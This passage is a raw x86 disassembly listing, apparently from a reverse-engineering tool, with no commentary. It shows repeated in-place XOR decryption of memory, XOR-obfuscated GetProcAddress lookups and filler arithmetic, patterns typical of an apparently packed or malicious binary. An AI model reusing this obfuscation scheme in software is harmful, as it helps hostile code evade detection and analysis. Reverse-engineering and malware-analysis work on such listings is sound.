xor eax, dword [ecx]
xor eax, 0xdccebee0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc6e9]
add eax, 0x28ab4
xor eax, dword [ecx]
xor eax, 0xdcce4678
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1da09]
add eax, 0x36060
xor eax, dword [ecx]
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [esp + 0x20]
lea edx, [eax + ecx]
lea ecx, [eax + 0x9952]
add eax, 0x20100
xor eax, dword [ecx]
mov dword [esp + 0x18], edx
xor eax, 0xdccecdcc
mov dword [ecx], eax
mov eax, dword [0x10107300]
or dword [0x101062e0], eax
lea ecx, [eax + 0x33928]
add eax, 0x338fc
xor eax, dword [ecx]
xor eax, 0xdccff430
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb8e1]
add eax, 0x2007c
xor eax, dword [ecx]
xor eax, 0xdcceccb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25780]
add eax, 0x42a0
xor eax, dword [ecx]
xor eax, 0xdccc8e6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa43cc]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + eax]
mov dword [esp + 0x20], ecx
lea ecx, [eax + 0x1230d]
add eax, 0x202e4
xor eax, dword [ecx]
xor eax, 0xdccece28
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10106ae8]
mov dword [0x101062e0], ecx
lea ecx, [eax + 0x57eb]
add eax, 0x25f20
xor eax, dword [ecx]
xor eax, 0xdcce93ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d94b]
add eax, 0x201f8
xor eax, dword [ecx]
xor eax, 0xdccecd34
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3bcc]
add eax, 0x48220
xor eax, dword [ecx]
xor eax, 0xdcc84eec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3ac8]
add eax, 0x276b0
xor eax, dword [ecx]
xor eax, 0xdcceba7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, edx
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x7ef4]
add eax, 0x27b38
xor eax, dword [ecx]
xor eax, 0xdcceb7f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x20ec4]
add eax, 0x20e6c
xor eax, dword [ecx]
xor eax, 0xdccec2a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa46fc]
add eax, 0x27610
xor eax, dword [ecx]
xor eax, 0xdccebadc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2cc6]
add eax, 0x23018
xor eax, dword [ecx]
xor eax, 0xdccefcd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa47a0]
add eax, 0x27494
xor eax, dword [ecx]
xor eax, 0xdcceb858
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x362b0]
add eax, 0x231b8
xor eax, dword [ecx]
xor eax, 0xdccefd74
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xfdb5]
add eax, 0x322c0
xor eax, dword [ecx]
xor eax, 0xdccfee0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b2c]
add eax, 0x24968
xor eax, dword [ecx]
xor eax, 0xdcce85a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x412a]
add eax, 0x230c8
xor eax, dword [ecx]
xor eax, 0xdccefc04
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18ce9]
add eax, 0x361fc
xor eax, dword [ecx]
xor eax, 0xdccfad30
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe6fa]
add eax, 0x11d20
xor eax, dword [ecx]
xor eax, 0xdccdd1ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4604]
add eax, 0x8fbe8
xor eax, dword [ecx]
mov dword [esp + 0x10], 0xd3
xor eax, 0xdcc43724
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14ac]
add eax, 0x1468
xor eax, dword [ecx]
xor eax, 0xdcccd8a4
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10106ae8]
push dword [0x10105368]
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x100399da
mov eax, dword [0x10106ae8]
mov ecx, dword [0x10105ab8]
add ecx, eax
mov eax, dword [0x10107300]
mov dword [0x10105368], ecx
lea ecx, [eax + 0xa165]
add eax, 0xa5a08
xor eax, dword [ecx]
push 0x10107a22
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov ecx, dword [0x10106ae8]
mov eax, dword [0x101062e0]
add eax, ecx
mov dword [esp + 0x18], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16bc6]
add eax, 0x21008
xor eax, dword [ecx]
push ebp
xor eax, 0xdccedcc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe69b]
add eax, 0xa4a0c
xor eax, dword [ecx]
xor eax, 0xdcc686c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x201d0
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9bd2
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x28fb8]
add eax, 0xe5a0
xor eax, dword [ecx]
xor eax, 0xdccc296c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x10106ae8]
mov dword [0x101062e0], ecx
lea ecx, [eax + 0x37100]
add eax, 0x31230
xor eax, dword [ecx]
xor eax, 0xdccfdefc
mov dword [ecx], eax
mov eax, dword [esp + 0x14]
and eax, 0xa1371f4f
mov dword [0x101062e0], eax
mov eax, dword [0x10105abc]
sub eax, dword [esp + 0x14]
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24070]
add eax, 0x23e38
xor eax, dword [ecx]
xor eax, 0xdccef2f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x624d]
add eax, 0xa4970
xor eax, dword [ecx]
xor eax, 0xdcc685bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3eb8]
add eax, 0x27024
xor eax, dword [ecx]
xor eax, 0xdccebce8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa427c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8afe]
add eax, 0x23008
xor eax, dword [ecx]
push 0x10107893
xor eax, 0xdccefcc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e4f0]
add eax, 0xa8f2c
mov dword [0x101062e0], 0xa0691100
xor eax, dword [ecx]
push ebp
xor eax, 0xdcc643e0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x220]
add eax, 0x20000
xor eax, dword [ecx]
xor eax, 0xcccd95ee
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2016c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf83a4
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa448c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33e98]
add eax, 0x33e88
xor eax, dword [ecx]
xor eax, 0xdccff244
mov dword [ecx], eax
mov eax, dword [0x10107300]
or dword [0x1010536c], eax
lea ecx, [eax + 0x1a841]
add eax, 0xa51e0
xor eax, dword [ecx]
xor eax, 0xdcc69d2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10105abc]
mov dword [0x10105abc], ecx
lea ecx, [eax + 0xa3c94]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25ea0]
add eax, 0x332d4
xor eax, dword [ecx]
xor eax, 0xdccffe18
mov dword [ecx], eax
mov eax, dword [0x10107300]
or dword [0x101062e0], eax
lea ecx, [eax + 0xce29]
add eax, 0x28e68
xor eax, dword [ecx]
xor eax, 0xdcce42a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa801]
add eax, 0xa59dc
xor eax, dword [ecx]
xor eax, 0xdcc69510
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34114]
add eax, 0x1f660
xor eax, dword [ecx]
push 0x1010770c
xor eax, 0xdccd3aac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4414]
add eax, 0x27748
xor eax, dword [ecx]
push ebp
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3711c]
add eax, 0x2e120
xor eax, dword [ecx]
xor eax, 0xdcce2dec
mov dword [ecx], eax
mov eax, dword [0x10106ae8]
xor dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x175a0]
add eax, 0x3606c
xor eax, dword [ecx]
xor eax, 0xdccfaca0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23fd8]
add eax, 0x23ef0
xor eax, dword [ecx]
xor eax, 0xdccef23c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc137]
add eax, 0xc020
xor eax, dword [ecx]
xor eax, 0xdccc0cec
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2010c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov edx, 0xdcceb4b8
xor ecx, 0xcccf8140
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2407c]
add eax, 0x23e00
xor eax, dword [ecx]
xor eax, 0xdccef2cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19b7f]
add eax, 0xa4f50
xor eax, dword [ecx]
xor eax, 0xdcc6839c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x119a2]
add eax, 0xa59ef
xor eax, dword [ecx]
xor eax, 0xdcc69523
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa44ec]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2af5]
add eax, 0xa8b18
xor eax, dword [ecx]
xor eax, 0xdcc647d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x337dc]
add eax, 0x337e0
xor eax, dword [ecx]
xor eax, 0xdccffb2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa671]
add eax, 0xa5688
xor eax, dword [ecx]
xor eax, 0xdcc69a44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17901]
add eax, 0x179d0
xor eax, dword [ecx]
xor eax, 0xdccdb51c
mov dword [ecx], eax
mov eax, dword [0x101062e0]
xor eax, dword [esp + 0x14]
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x20ec8]
add eax, 0x20e58
xor eax, dword [ecx]
xor eax, 0xdccec294
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3d9c]
add eax, 0x27610
xor eax, dword [ecx]
xor eax, 0xdccebadc
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x10105ab8]
sub ecx, eax
mov dword [0x101062e0], ecx
lea ecx, [eax + 0x16010]
add eax, 0x15ab4
xor eax, dword [ecx]
xor eax, 0xdccd9678
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7efb]
add eax, 0x27b44
xor eax, dword [ecx]
xor eax, 0xdcceb788
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24028]
add eax, 0x23e9c
xor eax, dword [ecx]
xor eax, 0xdccef250
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ccf1]
add eax, 0x1cd64
xor eax, dword [ecx]
xor eax, 0xdccd01a8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x183e0]
add eax, 0x2019c
xor eax, dword [ecx]
xor eax, 0xdccecd50
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1db0d]
add eax, 0x36060
xor eax, dword [ecx]
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf77a]
add eax, 0x2007c
xor eax, dword [ecx]
xor eax, 0xdcceccb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [esp + 0x20]
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x333e8]
add eax, 0x333ec
xor eax, dword [ecx]
xor eax, 0xdccfff20
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9982]
add eax, 0x27dd0
xor eax, dword [ecx]
push 0x10107496
xor eax, 0xdcceb11c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x927d]
add eax, 0x27d04
xor eax, dword [ecx]
push ebp
xor eax, 0xdcceb1c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a834]
add eax, 0xa8fc8
xor eax, dword [ecx]
xor eax, 0xdcc64304
mov dword [ecx], eax
mov eax, dword [0x101062e4]
and eax, 0x7b53ac41
mov dword [esp + 0x28], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15958]
add eax, 0x14ca5
xor eax, dword [ecx]
xor eax, 0xdccd8069
mov dword [ecx], eax
mov eax, dword [0x10106ae8]
add eax, 0x35f7aa20
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25730]
add eax, 0x3e20
xor eax, dword [ecx]
xor eax, 0xdcccf2ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xace3]
add eax, 0x27ed0
xor eax, dword [ecx]
xor eax, 0xdcceb21c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10106ae8]
mov dword [0x10105368], ecx
lea ecx, [eax + 0x11933]
add eax, 0x200d0
xor eax, dword [ecx]
xor eax, 0xdccecc1c
mov dword [ecx], eax
mov eax, dword [0x10103e64]
and dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa454c]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20060
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9bba
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10507]
add eax, 0x202e8
xor eax, dword [ecx]
xor eax, 0xdccece24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24ed0]
add eax, 0x32bfc
xor eax, dword [ecx]
push 0x10107d19
xor eax, 0xdccfe730
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3b5c]
add eax, 0x27610
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdccebadc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32898]
add eax, 0x4cb0
xor eax, dword [ecx]
xor eax, 0xdccc807c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3621c]
add eax, 0x2369c
xor eax, dword [ecx]
xor eax, 0xdccefa50
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa102]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x256f8]
add eax, 0x3ed0
xor eax, dword [ecx]
xor eax, 0xdcccf21c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c248]
add eax, 0xa5564
xor eax, dword [ecx]
xor eax, 0xdcc699a8
mov dword [ecx], eax
mov eax, dword [0x10107300]
add dword [0x10103e64], 0x2d7b406e
add eax, 0x202dc
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf8320
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3cf5]
add eax, 0x3d90
xor eax, dword [ecx]
xor eax, 0xdcccf15c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18183]
add eax, 0x3606c
xor eax, dword [ecx]
xor eax, 0xdccfaca0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa84d]
add eax, 0xa59bc
xor eax, dword [ecx]
xor eax, 0xdcc69570
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1833e]
add eax, 0x36070
xor eax, dword [ecx]
xor eax, 0xdccfacbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3297c]
add eax, 0x13c60
xor eax, dword [ecx]
xor eax, 0xdccdf0ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
add dword [0x10103e64], 0x36f65a0f
lea ecx, [eax + 0xa3cc0]
add eax, 0x27314
xor eax, dword [ecx]
push 0x10107e21
xor eax, 0xdccebfd8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9298]
add eax, 0x24fc0
xor eax, dword [ecx]
push dword [esp + 0x34]
xor eax, 0xdcce830c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x829b]
add eax, 0x20268
xor eax, dword [ecx]
xor eax, 0xdccecea4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa45c4]
add eax, 0x27480
xor eax, dword [ecx]
xor eax, 0xdcceb84c
mov dword [ecx], eax
mov eax, dword [0x10105368]
xor dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x329b0]
add eax, 0x130b0
xor eax, dword [ecx]
xor eax, 0xdccdfc7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2001c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x1010793d
xor ecx, 0xcccf9fa0
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x518d]
add eax, 0x20090
xor eax, dword [ecx]
push ebp
xor eax, 0xdccecc5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20190
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9972
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x581a]
add eax, 0x2022c
xor eax, dword [ecx]
xor eax, 0xdccecee0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9897]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34120]
add eax, 0x34110
xor eax, dword [ecx]
xor eax, 0xdccf8ddc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25444]
add eax, 0x2710
xor eax, dword [ecx]
push 0x10107a52
xor eax, 0xdcccebdc
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x10105ab8]
add eax, 0x201dc
push ebp
mov dword [0x10106ae8], ecx
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov edx, dword [esp + 0x20]
xor ecx, 0xcccf9af0
mov dword [eax], ecx
add dword [0x1010536c], 0x56e489a9
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13e73]
add eax, 0x202d8
xor eax, dword [ecx]
sub dword [esp + 0x18], edx
xor eax, 0xdccece14
mov dword [ecx], eax
mov eax, dword [0x101062e4]
and eax, edx
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa43b4]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3d04]
add eax, 0x55200
xor eax, dword [ecx]
xor eax, 0xdcc99ecc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa44d]
add eax, 0x20128
xor eax, dword [ecx]
xor eax, 0xdccecde4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf0ef]
add eax, 0x32414
xor eax, dword [ecx]
xor eax, 0xdccfe8d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3289c]
add eax, 0x12580
xor eax, dword [ecx]
xor eax, 0xdccde94c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x140fa]
add eax, 0xa5ab0
xor eax, dword [ecx]
xor eax, 0xdcc6967c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf5aa]
add eax, 0x20140
xor eax, dword [ecx]
xor eax, 0xdccecd8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4650]
add eax, 0x26614
xor eax, dword [ecx]
xor eax, 0xdcceaad8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe6d0]
add eax, 0x37158
xor eax, dword [ecx]
xor eax, 0xdccfbd94
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf4b1]
add eax, 0x20138
xor eax, dword [ecx]
xor eax, 0xdccecdf4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x10105abc]
mov dword [0x101062e4], ecx
lea ecx, [eax + 0xe73a]
add eax, 0x202e0
xor eax, dword [ecx]
xor eax, 0xdccece2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25760]
add eax, 0x2da0
xor eax, dword [ecx]
xor eax, 0xdccce16c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa434c]
add eax, 0x84468
xor eax, dword [ecx]
xor eax, 0xdcc488a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, 0x2066a5b7
mov dword [0x10103e64], ecx
lea ecx, [eax + 0x22a8]
add eax, 0x20288
xor eax, dword [ecx]
xor eax, 0xdccece44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14c4b]
add eax, 0x15998
xor eax, dword [ecx]
xor eax, 0xdccd9554
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11de2]
add eax, 0xa5a3c
xor eax, dword [ecx]
xor eax, 0xdcc696f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19ba6]
add eax, 0x20188
xor eax, dword [ecx]
xor eax, 0xdccecd44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2406c]
add eax, 0x23e44
xor eax, dword [ecx]
xor eax, 0xdccef288
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240b0]
add eax, 0x23c84
xor eax, dword [ecx]
xor eax, 0xdccef048
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1066c]
add eax, 0x20168
xor eax, dword [ecx]
xor eax, 0xdccecda4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10c9f]
add eax, 0x27c94
xor eax, dword [ecx]
xor eax, 0xdcceb058
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12434]
add eax, 0x123e0
xor eax, dword [ecx]
xor eax, 0xdccdef2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa48c4]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cc4f]
add eax, 0x1cd64
xor eax, dword [ecx]
xor eax, 0xdccd01a8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4530]
add eax, 0x263dc
xor eax, dword [ecx]
xor eax, 0xdcceaf10
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25734]
add eax, 0x13040
xor eax, dword [ecx]
xor eax, 0xdccdfc8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa919]
add eax, 0xa5a18
xor eax, dword [ecx]
xor eax, 0xdcc696d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b30]
add eax, 0x2495c
xor eax, dword [ecx]
xor eax, 0xdcce8590
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x64fa]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, 0xdcceced0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa49a4]
add eax, 0x25fdc
xor eax, dword [ecx]
xor eax, 0xdcce9310
mov dword [ecx], eax
mov eax, dword [0x10107300]
or dword [0x101062e4], eax
lea ecx, [eax + 0xa41a0]
add eax, 0x26a40
xor eax, dword [ecx]
xor eax, 0xdccea68c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x362c0]
add eax, 0x1954d
xor eax, dword [ecx]
xor eax, 0xdccd5981
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18c47]
add eax, 0xa4d3d
xor eax, dword [ecx]
xor eax, 0xdcc681f1
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xcbe9]
add eax, 0x28d34
xor eax, dword [ecx]
xor eax, 0xdcce41f8
mov dword [ecx], eax
mov eax, dword [esp + 0x18]
or eax, 0xb66bda2d
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x11737]
add ecx, 0x32400
xor ecx, dword [edx]
xor ecx, 0xdccfe8cc
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa3d38]
add ecx, 0x2724c
xor ecx, dword [edx]
xor ecx, 0xdccebe80
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x254a0]
add ecx, 0x42b0
xor ecx, dword [edx]
xor ecx, 0xdccc8e7c
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x17fb9]
add ecx, 0x201a8
xor ecx, dword [edx]
xor ecx, 0xdccecd64
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x118a6]
add ecx, 0x34040
xor ecx, dword [edx]
xor ecx, 0xdccf8c8c
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x329c8]
add ecx, 0x335b4
xor ecx, dword [edx]
xor ecx, 0xdccff978
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x18427]
add ecx, 0x201a0
xor ecx, dword [edx]
xor ecx, 0xdccecd6c
mov dword [edx], ecx
mov ecx, dword [esp + 0x18]
imul ecx, ecx, 0x953800d
mov dword [esp + 0x18], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x2570c]
add ecx, 0x3f40
xor ecx, dword [edx]
xor ecx, 0xdcccf38c
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x32ac0]
add ecx, 0x33564
xor ecx, dword [edx]
xor ecx, 0xdccff9a8
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x5872]
add ecx, 0x20224
xor ecx, dword [edx]
xor ecx, 0xdccecee8
mov dword [edx], ecx
mov ecx, dword [0x10107300]
and dword [0x10105ab8], 0
lea edx, [ecx + 0x4b4d]
add ecx, 0x202e0
xor ecx, dword [edx]
xor ecx, 0xdccece2c
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x55e4]
add ecx, 0x20000
xor ecx, dword [edx]
xor ecx, 0xdccecccc
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa39ac]
add ecx, 0x27874
xor ecx, dword [edx]
xor ecx, 0xdcceb4b8
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x24084]
add ecx, 0x23dc0
xor ecx, dword [edx]
xor ecx, 0xdccef10c
mov dword [edx], ecx
mov ecx, dword [esp + 0x14]
add ecx, 0x97197145
mov dword [0x10103e64], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x183d9]
